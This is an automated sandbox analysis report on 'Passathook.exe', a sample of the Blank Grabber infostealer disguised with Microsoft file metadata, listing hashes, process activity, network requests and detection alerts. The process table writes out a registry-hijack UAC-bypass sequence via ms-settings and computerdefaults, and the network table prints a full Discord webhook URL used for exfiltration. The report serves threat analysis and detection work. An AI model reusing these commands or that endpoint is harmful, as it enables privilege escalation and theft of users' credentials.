| File name: | Passathook.exe |
| Full analysis: | https://app.any.run/tasks/5e51c3f9-dbb2-4868-9ada-a48ca44f6f99 |
| Verdict: | Malicious activity |
| Threats: | Blank Grabber is an infostealer written in Python. It is designed to steal a wide array of data, such as browser login credentials, crypto wallets, Telegram sessions, and Discord tokens. It is an open-source malware, with its code available on GitHub and regularly receiving updates. Blank Grabber builder’s simple interface lets threat actors even with basic skills to deploy it and conduct attacks. |
| Analysis date: | March 22, 2025, 14:31:44 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 7 sections |
| MD5: | 4C3F01CFECBA4E4648FC794AA256352F |
| SHA1: | 5D0AE5300111E62A431D12792CEC18C3E836BCAF |
| SHA256: | 86C00B675AF5D293345773123F932DF7A29F464C0D7C0C5A89EE8D70FC29E797 |
| SSDEEP: | 98304:z1T2QUoyxcXL+aw10YPfpqt3/bqpuzw3u2SQ6O4LHV+6pKEg7efqqQVH68DcDo0f:cqVIy44a+nw29ekdN18E |
MALICIOUS
Executing a file with an untrusted certificate
- Passathook.exe (PID: 1188)
SUSPICIOUS
Process drops legitimate windows executable
- Passathook.exe (PID: 1188)
Application launched itself
- Passathook.exe (PID: 1188)
Starts a Microsoft application from unusual location
- Passathook.exe (PID: 1188)
INFO
The sample compiled with english language support
- Passathook.exe (PID: 1188)
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TRiD
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
EXIF
EXE
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:03:22 12:42:21+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.42 |
| CodeSize: | 173568 |
| InitializedDataSize: | 95232 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xce20 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.0.19041.3636 |
| ProductVersionNumber: | 10.0.19041.3636 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | Camera Settings UI Host |
| FileVersion: | 10.0.19041.3636 (WinBuild.160101.0800) |
| InternalName: | CameraSettingsUIHost |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | CameraSettingsUIHost.exe |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.19041.3636 |
Total processes
131
Monitored processes
15
Malicious processes
0
Suspicious processes
1
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 720 | computerdefaults --nouacbypass | C:\Windows\System32\ComputerDefaults.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Set Program Access and Computer Defaults Control Panel Version: 10.0.19041.1 (WinBuild.160101.0800) | ||||
| 1056 | reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "C:\Users\admin\Desktop\Passathook.exe" /f | C:\Windows\System32\reg.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Version: 10.0.19041.1 (WinBuild.160101.0800) | ||||
| 1180 | C:\WINDOWS\system32\cmd.exe /c "reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "C:\Users\admin\Desktop\Passathook.exe" /f" | C:\Windows\System32\cmd.exe | — | Passathook.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) | ||||
| 1184 | C:\WINDOWS\system32\cmd.exe /c "wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text" | C:\Windows\System32\cmd.exe | — | Passathook.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) | ||||
| 1188 | "C:\Users\admin\Desktop\Passathook.exe" | C:\Users\admin\Desktop\Passathook.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Camera Settings UI Host Version: 10.0.19041.3636 (WinBuild.160101.0800) | ||||
| 1348 | reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f | C:\Windows\System32\reg.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Version: 10.0.19041.1 (WinBuild.160101.0800) | ||||
| 2088 | C:\WINDOWS\system32\cmd.exe /c "reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f" | C:\Windows\System32\cmd.exe | — | Passathook.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) | ||||
| 2340 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) | ||||
| 4208 | C:\WINDOWS\system32\cmd.exe /c "computerdefaults --nouacbypass" | C:\Windows\System32\cmd.exe | — | Passathook.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) | ||||
| 4892 | wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text | C:\Windows\System32\wevtutil.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Eventing Command Line Utility Version: 10.0.19041.1 (WinBuild.160101.0800) | ||||
Total events
0
Read events
0
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
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HTTP(S) requests
6
TCP/UDP connections
26
DNS requests
9
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 204 | 142.250.185.131:443 | https://gstatic.com/generate_204 | unknown | — | — | — |
— | — | GET | 200 | 208.95.112.1:80 | http://ip-api.com/line/?fields=hosting | unknown | — | — | whitelisted |
— | — | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/?fields=225545 | unknown | — | — | whitelisted |
— | — | POST | 404 | 162.159.138.232:443 | https://discord.com/api/webhooks/1352985389820022888/MVH0nm0RUbs0av_kfB_TWRJ-4Dzh3DFeLwpTadJ-ILeJgWq3uowhhZ2sh9udrQeh1Ntu | unknown | binary | 45 b | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
— | — | POST | 500 | 20.83.72.98:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 208.95.112.1:80 | ip-api.com | TUT-AS | US | whitelisted |
— | — | 142.250.185.227:443 | gstatic.com | GOOGLE | US | whitelisted |
— | — | 162.159.135.232:443 | discord.com | CLOUDFLARENET | — | whitelisted |
— | — | 20.83.72.98:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
blank-qlbbj.in |
| unknown |
ip-api.com |
| whitelisted |
gstatic.com |
| whitelisted |
discord.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
— | — | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
— | — | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
— | — | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
— | — | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
— | — | Misc activity | ET INFO Discord Chat Service Domain in DNS Lookup (discord .com) |
— | — | A Network Trojan was detected | STEALER [ANY.RUN] BlankGrabber (SkochGrabber) Generic External IP Check |
— | — | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
— | — | Misc activity | ET INFO Observed Discord Service Domain (discord .com) in TLS SNI |